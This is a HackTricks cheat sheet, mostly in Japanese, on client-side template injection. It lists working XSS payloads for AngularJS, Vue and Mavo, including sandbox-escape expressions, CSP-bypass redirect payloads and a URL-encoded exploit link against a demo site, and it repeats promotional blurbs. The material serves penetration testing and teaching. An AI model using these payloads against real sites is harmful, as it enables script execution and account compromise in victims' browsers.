Client Side Template Injection (CSTI)

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されていないかをチェックする無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックして、無料でエンジンを試すことができます:


概要

これはサーバーサイドテンプレートインジェクション(SSTI)のようですが、クライアント側で行われます。SSTIはリモートサーバーでコードを実行できますが、CSTIは被害者のブラウザで任意のJavaScriptコードを実行できます。

この脆弱性のテストは、SSTIの場合と非常に類似しています。インタプリタはテンプレートを期待し、それを実行します。たとえば、{{ 7-7 }}のようなペイロードを使用すると、アプリが脆弱であれば0が表示され、そうでなければ元の{{ 7-7 }}が表示されます。

AngularJS

AngularJSは広く使用されているJavaScriptフレームワークで、**ng-app**などのディレクティブとして知られる属性を介してHTMLとやり取りします。このディレクティブにより、AngularJSがHTMLコンテンツを処理し、二重中括弧内でJavaScript式を実行できるようになります。

ユーザー入力がng-appでタグ付けされたHTML本文に動的に挿入されるシナリオでは、任意のJavaScriptコードを実行することが可能です。これは、入力内でAngularJSの構文を活用することで実現できます。以下は、JavaScriptコードを実行する方法を示す例です:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

You can find a very basic online example of the vulnerability in AngularJS in http://jsfiddle.net/2zs2yv7o/ and in Burp Suite Academy

Angular 1.6 removed the sandbox so from this version a payload like {{constructor.constructor('alert(1)')()}} or <input ng-focus=$event.view.alert('XSS')> should work.

VueJS

You can find a vulnerable Vue implementation in https://vue-client-side-template-injection-example.azu.now.sh/ Working payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

And the source code of the vulnerable example here: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

V3

VUEにおけるCSTIに関する非常に良い投稿は、https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets で見つけることができます。

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

さらにVUEのペイロードをチェックする https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

ペイロード:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

さらなるペイロードは https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

ブルートフォース検出リスト

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されていないかをチェックするための無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated